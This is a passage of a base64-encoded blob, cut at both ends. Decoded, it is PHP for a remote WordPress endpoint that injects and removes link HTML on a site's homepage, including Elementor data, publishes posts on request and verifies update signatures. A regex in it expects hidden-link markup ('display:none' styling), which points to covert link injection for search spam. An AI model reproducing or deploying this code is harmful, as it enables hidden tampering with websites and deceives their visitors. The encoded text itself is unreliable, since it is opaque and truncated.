gICAgICAgICdlbGVtZW50cycgPT4gYXJyYXkoKSwKICAgICk7Cn0KCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X2FwcGVuZF90b19lbGVtZW50b3Jfc2V0dGluZ3MoJiRzZXR0aW5ncywgJGh0bWwpIHsKICAgIGlmICghaXNfYXJyYXkoJHNldHRpbmdzKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIGZvcmVhY2ggKGFycmF5KCdodG1sJywgJ2VkaXRvcicsICd0ZXh0JykgYXMgJGtleSkgewogICAgICAgIGlmICghaXNzZXQoJHNldHRpbmdzWyRrZXldKSB8fCAhaXNfc3RyaW5nKCRzZXR0aW5nc1ska2V5XSkpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRzZXR0aW5nc1ska2V5XSA9IHRyaW0oJHNldHRpbmdzWyRrZXldIC4gIlxuIiAuICRodG1sKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfaW5zZXJ0X2VsZW1lbnRvcl93aWRnZXQoJiRub2RlLCAkd2lkZ2V0KSB7CiAgICBpZiAoIWlzX2FycmF5KCRub2RlKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIGlmIChpc3NldCgkbm9kZVsnc2V0dGluZ3MnXSkgJiYgaXNfYXJyYXkoJG5vZGVbJ3NldHRpbmdzJ10pICYmIGVhc3lwb3N0X2VuZHBvaW50X2FwcGVuZF90b19lbGVtZW50b3Jfc2V0dGluZ3MoJG5vZGVbJ3NldHRpbmdzJ10sICR3aWRnZXRbJ3NldHRpbmdzJ11bJ2h0bWwnXSkpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIGlmIChpc3NldCgkbm9kZVsnZWxlbWVudHMnXSkgJiYgaXNfYXJyYXkoJG5vZGVbJ2VsZW1lbnRzJ10pKSB7CiAgICAgICAgZm9yZWFjaCAoJG5vZGVbJ2VsZW1lbnRzJ10gYXMgJGluZGV4ID0+ICYkY2hpbGQpIHsKICAgICAgICAgICAgaWYgKGVhc3lwb3N0X2VuZHBvaW50X2luc2VydF9lbGVtZW50b3Jfd2lkZ2V0KCRjaGlsZCwgJHdpZGdldCkpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCRjaGlsZCk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICB1bnNldCgkY2hpbGQpOwogICAgICAgICRub2RlWydlbGVtZW50cyddW10gPSAkd2lkZ2V0OwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgZm9yZWFjaCAoJG5vZGUgYXMgJGluZGV4ID0+ICYkY2hpbGQpIHsKICAgICAgICBpZiAoIWlzX2ludCgkaW5kZXgpKSB7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBpZiAoZWFzeXBvc3RfZW5kcG9pbnRfaW5zZXJ0X2VsZW1lbnRvcl93aWRnZXQoJGNoaWxkLCAkd2lkZ2V0KSkgewogICAgICAgICAgICB1bnNldCgkY2hpbGQpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CiAgICB1bnNldCgkY2hpbGQpOwogICAgaWYgKGlzc2V0KCRub2RlWzBdKSAmJiBpc19hcnJheSgkbm9kZVswXSkgJiYgaXNzZXQoJG5vZGVbMF1bJ2VsZW1lbnRzJ10pICYmIGlzX2FycmF5KCRub2RlWzBdWydlbGVtZW50cyddKSkgewogICAgICAgICRub2RlWzBdWydlbGVtZW50cyddW10gPSAkd2lkZ2V0OwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBlYXN5cG9zdF9lbmRwb2ludF9lbGVtZW50b3Jfbm9kZV9oYXNfZGlyZWN0X21hcmtlcigkbm9kZSwgJG1hcmtlcikgewogICAgaWYgKCFpc19hcnJheSgkbm9kZSkpIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICBpZiAoIWlzc2V0KCRub2RlWydzZXR0aW5ncyddKSB8fCAhaXNfYXJyYXkoJG5vZGVbJ3NldHRpbmdzJ10pKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgJGVuY29kZWQgPSBqc29uX2VuY29kZSgkbm9kZVsnc2V0dGluZ3MnXSk7CiAgICByZXR1cm4gaXNfc3RyaW5nKCRlbmNvZGVkKSAmJiBzdHJwb3MoJGVuY29kZWQsICRtYXJrZXIpICE9PSBmYWxzZTsKfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfcmVtb3ZlX21hcmtlcl9mcm9tX2VsZW1lbnRvcigkbm9kZXMsICRtYXJrZXIsICYkcmVtb3ZlZCkgewogICAgaWYgKCFpc19hcnJheSgkbm9kZXMpKSB7CiAgICAgICAgcmV0dXJuICRub2RlczsKICAgIH0KICAgICRuZXh0ID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRub2RlcyBhcyAkbm9kZSkgewogICAgICAgIGlmIChpc19hcnJheSgkbm9kZSkpIHsKICAgICAgICAgICAgaWYgKGVhc3lwb3N0X2VuZHBvaW50X2VsZW1lbnRvcl9ub2RlX2hhc19kaXJlY3RfbWFya2VyKCRub2RlLCAkbWFya2VyKSkgewogICAgICAgICAgICAgICAgJHJlbW92ZWQgPSB0cnVlOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGlzc2V0KCRub2RlWydlbGVtZW50cyddKSAmJiBpc19hcnJheSgkbm9kZVsnZWxlbWVudHMnXSkpIHsKICAgICAgICAgICAgICAgICRub2RlWydlbGVtZW50cyddID0gZWFzeXBvc3RfZW5kcG9pbnRfcmVtb3ZlX21hcmtlcl9mcm9tX2VsZW1lbnRvcigkbm9kZVsnZWxlbWVudHMnXSwgJG1hcmtlciwgJHJlbW92ZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRuZXh0W10gPSAkbm9kZTsKICAgIH0KICAgIHJldHVybiAkbmV4dDsKfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfcGxhY2VfaG9tZXBhZ2VfbGluaygkcGF5bG9hZCkgewogICAgZWFzeXBvc3RfZW5kcG9pbnRfYm9vdHN0cmFwX3dvcmRwcmVzcygpOwogICAgJGlucHV0ID0gZWFzeXBvc3RfZW5kcG9pbnRfdmFsaWRhdGVfaG9tZXBhZ2VfcGF5bG9hZCgkcGF5bG9hZCk7CiAgICAkcG9zdCA9IGVhc3lwb3N0X2VuZHBvaW50X2hvbWVwYWdlX3Bvc3QoKTsKICAgICRwb3N0X2lkID0gKGludCkgJHBvc3QtPklEOwogICAgaWYgKCFlYXN5cG9zdF9lbmRwb2ludF9hY3F1aXJlX2xvY2soJHBvc3RfaWQpKSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfZmFsbGJhY2tfZXJyb3IoJ2xvY2tfYnVzeScpOwogICAgfQogICAgJHdhcm5pbmdzID0gYXJyYXkoKTsKICAgIHRyeSB7CiAgICAgICAgJG1hcmtlciA9IGVhc3lwb3N0X2VuZHBvaW50X21hcmtlcigkaW5wdXRbJ3BsYWNlbWVudElkJ10pOwogICAgICAgICRodG1sID0gZWFzeXBvc3RfZW5kcG9pbnRfcGxhY2VtZW50X2h0bWwoJGlucHV0KTsKICAgICAgICAkZWxlbWVudG9yX3JhdyA9IGZ1bmN0aW9uX2V4aXN0cygnZ2V0X3Bvc3RfbWV0YScpID8gKHN0cmluZykgZ2V0X3Bvc3RfbWV0YSgkcG9zdF9pZCwgJ19lbGVtZW50b3JfZGF0YScsIHRydWUpIDogJyc7CiAgICAgICAgJGVsZW1lbnRvcl9tb2RlID0gZnVuY3Rpb25fZXhpc3RzKCdnZXRfcG9zdF9tZXRhJykgPyAoc3RyaW5nKSBnZXRfcG9zdF9tZXRhKCRwb3N0X2lkLCAnX2VsZW1lbnRvcl9lZGl0X21vZGUnLCB0cnVlKSA6ICcnOwogICAgICAgIGlmICgkZWxlbWVudG9yX3JhdyAhPT0gJycgJiYgJGVsZW1lbnRvcl9tb2RlID09PSAnYnVpbGRlcicpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkZWxlbWVudG9yX3JhdywgJG1hcmtlcikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkd2FybmluZ3MgPSBlYXN5cG9zdF9lbmRwb2ludF9jYWNoZV93YXJuaW5ncygkcG9zdF9pZCk7CiAgICAgICAgICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDIwMCwgYXJyYXkoJ29rJyA9PiB0cnVlLCAnbWV0aG9kJyA9PiAnRUFTWVBPU1RfRUxFTUVOVE9SJywgJ2NvbnRlbnRJZCcgPT4gJHBvc3RfaWQsICdwYWdlVXJsJyA9PiBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKSwgJ2NoYW5nZWQnID0+IGZhbHNlLCAnYWxyZWFkeVByZXNlbnQnID0+IHRydWUsICd3YXJuaW5ncycgPT4gJHdhcm5pbmdzKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGRhdGEgPSBqc29uX2RlY29kZSgkZWxlbWVudG9yX3JhdywgdHJ1ZSk7CiAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJGRhdGEpKSB7CiAgICAgICAgICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9mYWxsYmFja19lcnJvcignZWxlbWVudG9yX2RhdGFfaW52YWxpZCcpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghZWFzeXBvc3RfZW5kcG9pbnRfaW5zZXJ0X2VsZW1lbnRvcl93aWRnZXQoJGRhdGEsIGVhc3lwb3N0X2VuZHBvaW50X2VsZW1lbnRvcl93aWRnZXQoJGh0bWwsICRpbnB1dFsncGxhY2VtZW50SWQnXSkpKSB7CiAgICAgICAgICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9mYWxsYmFja19lcnJvcignZWxlbWVudG9yX3N0cnVjdHVyZV91bnN1cHBvcnRlZCcpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCd1cGRhdGVfcG9zdF9tZXRhJykgfHwgdXBkYXRlX3Bvc3RfbWV0YSgkcG9zdF9pZCwgJ19lbGVtZW50b3JfZGF0YScsIHdwX3NsYXNoKGpzb25fZW5jb2RlKCRkYXRhKSkpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfZmFsbGJhY2tfZXJyb3IoJ3Bvc3RfdXBkYXRlX2ZhaWxlZCcpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVwZGF0ZV9wb3N0X21ldGEoJHBvc3RfaWQsICdfZWFzeXBvc3RfaG9tZXBhZ2VfcGxhY2VtZW50XycgLiAoaW50KSAkaW5wdXRbJ3BsYWNlbWVudElkJ10sIGFycmF5KCdtZXRob2QnID0+ICdFQVNZUE9TVF9FTEVNRU5UT1InLCAnaGFzaCcgPT4gaGFzaCgnc2hhMjU2JywgJGVsZW1lbnRvcl9yYXcpLCAndXBkYXRlZEF0JyA9PiBnbWRhdGUoJ2MnKSkpOwogICAgICAgICAgICAkd2FybmluZ3MgPSBlYXN5cG9zdF9lbmRwb2ludF9jYWNoZV93YXJuaW5ncygkcG9zdF9pZCk7CiAgICAgICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oMjAwLCBhcnJheSgnb2snID0+IHRydWUsICdtZXRob2QnID0+ICdFQVNZUE9TVF9FTEVNRU5UT1InLCAnY29udGVudElkJyA9PiAkcG9zdF9pZCwgJ3BhZ2VVcmwnID0+IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpLCAnY2hhbmdlZCcgPT4gdHJ1ZSwgJ2FscmVhZHlQcmVzZW50JyA9PiBmYWxzZSwgJ3dhcm5pbmdzJyA9PiAkd2FybmluZ3MpKTsKICAgICAgICB9CiAgICAgICAgJGNvbnRlbnQgPSAoc3RyaW5nKSAkcG9zdC0+cG9zdF9jb250ZW50OwogICAgICAgIGlmIChzdHJwb3MoJGNvbnRlbnQsICRtYXJrZXIpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkd2FybmluZ3MgPSBlYXN5cG9zdF9lbmRwb2ludF9jYWNoZV93YXJuaW5ncygkcG9zdF9pZCk7CiAgICAgICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oMjAwLCBhcnJheSgnb2snID0+IHRydWUsICdtZXRob2QnID0+ICdFQVNZUE9TVF9QT1NUX0NPTlRFTlQnLCAnY29udGVudElkJyA9PiAkcG9zdF9pZCwgJ3BhZ2VVcmwnID0+IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpLCAnY2hhbmdlZCcgPT4gZmFsc2UsICdhbHJlYWR5UHJlc2VudCcgPT4gdHJ1ZSwgJ3dhcm5pbmdzJyA9PiAkd2FybmluZ3MpKTsKICAgICAgICB9CiAgICAgICAgJHVwZGF0ZWQgPSB3cF91cGRhdGVfcG9zdChhcnJheSgnSUQnID0+ICRwb3N0X2lkLCAncG9zdF9jb250ZW50JyA9PiB0cmltKCRjb250ZW50IC4gIlxuIiAuICRodG1sKSksIHRydWUpOwogICAgICAgIGlmIChpc193cF9lcnJvcigkdXBkYXRlZCkpIHsKICAgICAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfZmFsbGJhY2tfZXJyb3IoJ3Bvc3RfdXBkYXRlX2ZhaWxlZCcsICR1cGRhdGVkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKTsKICAgICAgICB9CiAgICAgICAgdXBkYXRlX3Bvc3RfbWV0YSgkcG9zdF9pZCwgJ19lYXN5cG9zdF9ob21lcGFnZV9wbGFjZW1lbnRfJyAuIChpbnQpICRpbnB1dFsncGxhY2VtZW50SWQnXSwgYXJyYXkoJ21ldGhvZCcgPT4gJ0VBU1lQT1NUX1BPU1RfQ09OVEVOVCcsICdoYXNoJyA9PiBoYXNoKCdzaGEyNTYnLCAkY29udGVudCksICd1cGRhdGVkQXQnID0+IGdtZGF0ZSgnYycpKSk7CiAgICAgICAgJHdhcm5pbmdzID0gZWFzeXBvc3RfZW5kcG9pbnRfY2FjaGVfd2FybmluZ3MoJHBvc3RfaWQpOwogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oMjAwLCBhcnJheSgnb2snID0+IHRydWUsICdtZXRob2QnID0+ICdFQVNZUE9TVF9QT1NUX0NPTlRFTlQnLCAnY29udGVudElkJyA9PiAkcG9zdF9pZCwgJ3BhZ2VVcmwnID0+IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpLCAnY2hhbmdlZCcgPT4gdHJ1ZSwgJ2FscmVhZHlQcmVzZW50JyA9PiBmYWxzZSwgJ3dhcm5pbmdzJyA9PiAkd2FybmluZ3MpKTsKICAgIH0gZmluYWxseSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfcmVsZWFzZV9sb2NrKCRwb3N0X2lkKTsKICAgIH0KfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfcmVtb3ZlX2hvbWVwYWdlX2xpbmsoJHBheWxvYWQpIHsKICAgIGVhc3lwb3N0X2VuZHBvaW50X2Jvb3RzdHJhcF93b3JkcHJlc3MoKTsKICAgICRpbnB1dCA9IGVhc3lwb3N0X2VuZHBvaW50X3ZhbGlkYXRlX2hvbWVwYWdlX3BheWxvYWQoJHBheWxvYWQpOwogICAgJHBvc3QgPSBlYXN5cG9zdF9lbmRwb2ludF9ob21lcGFnZV9wb3N0KCk7CiAgICAkcG9zdF9pZCA9IChpbnQpICRwb3N0LT5JRDsKICAgIGlmICghZWFzeXBvc3RfZW5kcG9pbnRfYWNxdWlyZV9sb2NrKCRwb3N0X2lkKSkgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2ZhbGxiYWNrX2Vycm9yKCdsb2NrX2J1c3knKTsKICAgIH0KICAgIHRyeSB7CiAgICAgICAgJG1hcmtlciA9IGVhc3lwb3N0X2VuZHBvaW50X21hcmtlcigkaW5wdXRbJ3BsYWNlbWVudElkJ10pOwogICAgICAgICRlbGVtZW50b3JfcmF3ID0gZnVuY3Rpb25fZXhpc3RzKCdnZXRfcG9zdF9tZXRhJykgPyAoc3RyaW5nKSBnZXRfcG9zdF9tZXRhKCRwb3N0X2lkLCAnX2VsZW1lbnRvcl9kYXRhJywgdHJ1ZSkgOiAnJzsKICAgICAgICAkZWxlbWVudG9yX21vZGUgPSBmdW5jdGlvbl9leGlzdHMoJ2dldF9wb3N0X21ldGEnKSA/IChzdHJpbmcpIGdldF9wb3N0X21ldGEoJHBvc3RfaWQsICdfZWxlbWVudG9yX2VkaXRfbW9kZScsIHRydWUpIDogJyc7CiAgICAgICAgaWYgKCRlbGVtZW50b3JfcmF3ICE9PSAnJyAmJiAkZWxlbWVudG9yX21vZGUgPT09ICdidWlsZGVyJykgewogICAgICAgICAgICBpZiAoc3RycG9zKCRlbGVtZW50b3JfcmF3LCAkbWFya2VyKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICR3YXJuaW5ncyA9IGVhc3lwb3N0X2VuZHBvaW50X2NhY2hlX3dhcm5pbmdzKCRwb3N0X2lkKTsKICAgICAgICAgICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oMjAwLCBhcnJheSgnb2snID0+IHRydWUsICdtZXRob2QnID0+ICdFQVNZUE9TVF9FTEVNRU5UT1InLCAnY29udGVudElkJyA9PiAkcG9zdF9pZCwgJ3BhZ2VVcmwnID0+IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpLCAnY2hhbmdlZCcgPT4gZmFsc2UsICdhbHJlYWR5UmVtb3ZlZCcgPT4gdHJ1ZSwgJ3dhcm5pbmdzJyA9PiAkd2FybmluZ3MpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZGF0YSA9IGpzb25fZGVjb2RlKCRlbGVtZW50b3JfcmF3LCB0cnVlKTsKICAgICAgICAgICAgaWYgKCFpc19hcnJheSgkZGF0YSkpIHsKICAgICAgICAgICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2ZhbGxiYWNrX2Vycm9yKCdlbGVtZW50b3JfZGF0YV9pbnZhbGlkJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJlbW92ZWQgPSBmYWxzZTsKICAgICAgICAgICAgJGRhdGEgPSBlYXN5cG9zdF9lbmRwb2ludF9yZW1vdmVfbWFya2VyX2Zyb21fZWxlbWVudG9yKCRkYXRhLCAkbWFya2VyLCAkcmVtb3ZlZCk7CiAgICAgICAgICAgIGlmICghJHJlbW92ZWQgfHwgIWZ1bmN0aW9uX2V4aXN0cygndXBkYXRlX3Bvc3RfbWV0YScpIHx8IHVwZGF0ZV9wb3N0X21ldGEoJHBvc3RfaWQsICdfZWxlbWVudG9yX2RhdGEnLCB3cF9zbGFzaChqc29uX2VuY29kZSgkZGF0YSkpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2ZhbGxiYWNrX2Vycm9yKCdwb3N0X3VwZGF0ZV9mYWlsZWQnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkd2FybmluZ3MgPSBlYXN5cG9zdF9lbmRwb2ludF9jYWNoZV93YXJuaW5ncygkcG9zdF9pZCk7CiAgICAgICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oMjAwLCBhcnJheSgnb2snID0+IHRydWUsICdtZXRob2QnID0+ICdFQVNZUE9TVF9FTEVNRU5UT1InLCAnY29udGVudElkJyA9PiAkcG9zdF9pZCwgJ3BhZ2VVcmwnID0+IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpLCAnY2hhbmdlZCcgPT4gdHJ1ZSwgJ2FscmVhZHlSZW1vdmVkJyA9PiBmYWxzZSwgJ3dhcm5pbmdzJyA9PiAkd2FybmluZ3MpKTsKICAgICAgICB9CiAgICAgICAgJGNvbnRlbnQgPSAoc3RyaW5nKSAkcG9zdC0+cG9zdF9jb250ZW50OwogICAgICAgIGlmIChzdHJwb3MoJGNvbnRlbnQsICRtYXJrZXIpID09PSBmYWxzZSkgewogICAgICAgICAgICAkd2FybmluZ3MgPSBlYXN5cG9zdF9lbmRwb2ludF9jYWNoZV93YXJuaW5ncygkcG9zdF9pZCk7CiAgICAgICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oMjAwLCBhcnJheSgnb2snID0+IHRydWUsICdtZXRob2QnID0+ICdFQVNZUE9TVF9QT1NUX0NPTlRFTlQnLCAnY29udGVudElkJyA9PiAkcG9zdF9pZCwgJ3BhZ2VVcmwnID0+IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpLCAnY2hhbmdlZCcgPT4gZmFsc2UsICdhbHJlYWR5UmVtb3ZlZCcgPT4gdHJ1ZSwgJ3dhcm5pbmdzJyA9PiAkd2FybmluZ3MpKTsKICAgICAgICB9CiAgICAgICAgJHBhdHRlcm4gPSAnL1xzKig/OjxzdHlsZT5cLmRjXHtkaXNwbGF5Om5vbmU7XH08XC9zdHlsZT5ccyopPzwoPzpwfGRpdilbXj5dKmRhdGEtcGxhY2VtZW50PSInIC4gcHJlZ19xdW90ZSgoc3RyaW5nKSAkaW5wdXRbJ3BsYWNlbWVudElkJ10sICcvJykgLiAnIltePl0qPi4qPzxcLyg/OnB8ZGl2KT4vcyc7CiAgICAgICAgJG5leHQgPSB0cmltKHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJycsICRjb250ZW50LCAxKSk7CiAgICAgICAgJHVwZGF0ZWQgPSB3cF91cGRhdGVfcG9zdChhcnJheSgnSUQnID0+ICRwb3N0X2lkLCAncG9zdF9jb250ZW50JyA9PiAkbmV4dCksIHRydWUpOwogICAgICAgIGlmIChpc193cF9lcnJvcigkdXBkYXRlZCkpIHsKICAgICAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfZmFsbGJhY2tfZXJyb3IoJ3Bvc3RfdXBkYXRlX2ZhaWxlZCcsICR1cGRhdGVkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKTsKICAgICAgICB9CiAgICAgICAgJHdhcm5pbmdzID0gZWFzeXBvc3RfZW5kcG9pbnRfY2FjaGVfd2FybmluZ3MoJHBvc3RfaWQpOwogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oMjAwLCBhcnJheSgnb2snID0+IHRydWUsICdtZXRob2QnID0+ICdFQVNZUE9TVF9QT1NUX0NPTlRFTlQnLCAnY29udGVudElkJyA9PiAkcG9zdF9pZCwgJ3BhZ2VVcmwnID0+IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpLCAnY2hhbmdlZCcgPT4gdHJ1ZSwgJ2FscmVhZHlSZW1vdmVkJyA9PiBmYWxzZSwgJ3dhcm5pbmdzJyA9PiAkd2FybmluZ3MpKTsKICAgIH0gZmluYWxseSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfcmVsZWFzZV9sb2NrKCRwb3N0X2lkKTsKICAgIH0KfQoKCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X2NyZWF0ZV9wb3N0KCRwYXlsb2FkKSB7CiAgICBlYXN5cG9zdF9lbmRwb2ludF9ib290c3RyYXBfd29yZHByZXNzKCk7CiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnd3BfaW5zZXJ0X3Bvc3QnKSkgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oNTAwLCBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdjYXBhYmlsaXR5X2ZhaWxlZCcpKTsKICAgIH0KICAgICRzdGF0dXMgPSAncHVibGlzaCc7CiAgICAkcG9zdF90eXBlID0gIWVtcHR5KCRwYXlsb2FkWydwb3N0X3R5cGUnXSkgPyBzYW5pdGl6ZV9rZXkoJHBheWxvYWRbJ3Bvc3RfdHlwZSddKSA6ICghZW1wdHkoJHBheWxvYWRbJ3Bvc3RUeXBlJ10pID8gc2FuaXRpemVfa2V5KCRwYXlsb2FkWydwb3N0VHlwZSddKSA6ICdwb3N0Jyk7CiAgICAkY29udGVudCA9IGlzc2V0KCRwYXlsb2FkWydjb250ZW50SHRtbCddKSA/ICRwYXlsb2FkWydjb250ZW50SHRtbCddIDogKGlzc2V0KCRwYXlsb2FkWydjb250ZW50J10pID8gJHBheWxvYWRbJ2NvbnRlbnQnXSA6ICcnKTsKICAgICRwb3N0YXJyID0gYXJyYXkoCiAgICAgICAgJ3Bvc3RfdGl0bGUnID0+IGlzc2V0KCRwYXlsb2FkWyd0aXRsZSddKSA/IHdwX3N0cmlwX2FsbF90YWdzKCRwYXlsb2FkWyd0aXRsZSddKSA6ICcnLAogICAgICAgICdwb3N0X25hbWUnID0+IGlzc2V0KCRwYXlsb2FkWydzbHVnJ10pID8gc2FuaXRpemVfdGl0bGUoJHBheWxvYWRbJ3NsdWcnXSkgOiAnJywKICAgICAgICAncG9zdF9jb250ZW50JyA9PiAkY29udGVudCwKICAgICAgICAncG9zdF9zdGF0dXMnID0+ICRzdGF0dXMsCiAgICAgICAgJ3Bvc3RfdHlwZScgPT4gJHBvc3RfdHlwZSwKICAgICk7CiAgICBpZiAoIWVtcHR5KCRwYXlsb2FkWydkYXRlJ10pKSB7CiAgICAgICAgJHBvc3RhcnJbJ3Bvc3RfZGF0ZSddID0gJHBheWxvYWRbJ2RhdGUnXTsKICAgIH0gZWxzZWlmICghZW1wdHkoJHBheWxvYWRbJ3B1YmxpY2F0aW9uRGF0ZSddKSkgewogICAgICAgICRwb3N0YXJyWydwb3N0X2RhdGUnXSA9ICRwYXlsb2FkWydwdWJsaWNhdGlvbkRhdGUnXTsKICAgIH0KICAgICRwb3N0X2lkID0gd3BfaW5zZXJ0X3Bvc3QoJHBvc3RhcnIsIHRydWUpOwogICAgaWYgKGlzX3dwX2Vycm9yKCRwb3N0X2lkKSkgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oNTAwLCBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdpbnNlcnRfZmFpbGVkJywgJ21lc3NhZ2UnID0+ICRwb3N0X2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKSk7CiAgICB9CiAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDIwMSwgYXJyYXkoCiAgICAgICAgJ29rJyA9PiB0cnVlLAogICAgICAgICdpZCcgPT4gKGludCkgJHBvc3RfaWQsCiAgICAgICAgJ3Bvc3RJZCcgPT4gKGludCkgJHBvc3RfaWQsCiAgICAgICAgJ2xpbmsnID0+IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpLAogICAgICAgICdwb3N0VXJsJyA9PiBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKSwKICAgICAgICAnc2x1ZycgPT4gZ2V0X3Bvc3RfZmllbGQoJ3Bvc3RfbmFtZScsICRwb3N0X2lkKSwKICAgICAgICAnc3RhdHVzJyA9PiBnZXRfcG9zdF9zdGF0dXMoJHBvc3RfaWQpLAogICAgICAgICdjcmVhdGVkJyA9PiB0cnVlLAogICAgKSk7Cn0KCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X3ZlcmlmeV9yZWxlYXNlX3NpZ25hdHVyZSgkcGF5bG9hZCwgJGNvbXB1dGVkX3NoYTI1NikgewogICAgJGNvbmZpZyA9IGVhc3lwb3N0X2VuZHBvaW50X2NvbmZpZygpOwogICAgaWYgKGVtcHR5KCRjb25maWdbJ290YV9yZWxlYXNlX3B1YmxpY19rZXlfcGVtJ10pIHx8ICFpc19zdHJpbmcoJGNvbmZpZ1snb3RhX3JlbGVhc2VfcHVibGljX2tleV9wZW0nXSkpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDUwMSwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnb3RhX3JlbGVhc2VfcHVibGljX2tleV9taXNzaW5nJykpOwogICAgfQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ29wZW5zc2xfdmVyaWZ5JykpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDUwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnb3BlbnNzbF91bmF2YWlsYWJsZScpKTsKICAgIH0KICAgIGlmICghaXNzZXQoJHBheWxvYWRbJ3NpZ25hdHVyZSddKSB8fCAhaXNfc3RyaW5nKCRwYXlsb2FkWydzaWduYXR1cmUnXSkgfHwgdHJpbSgkcGF5bG9hZFsnc2lnbmF0dXJlJ10pID09PSAnJykgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oNDAwLCBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdyZWxlYXNlX3NpZ25hdHVyZV9yZXF1aXJlZCcpKTsKICAgIH0KCiAgICAkc2lnbmF0dXJlID0gYmFzZTY0X2RlY29kZSgkcGF5bG9hZFsnc2lnbmF0dXJlJ10sIHRydWUpOwogICAgaWYgKCRzaWduYXR1cmUgPT09IGZhbHNlIHx8ICRzaWduYXR1cmUgPT09ICcnKSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfanNvbig0MDAsIGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ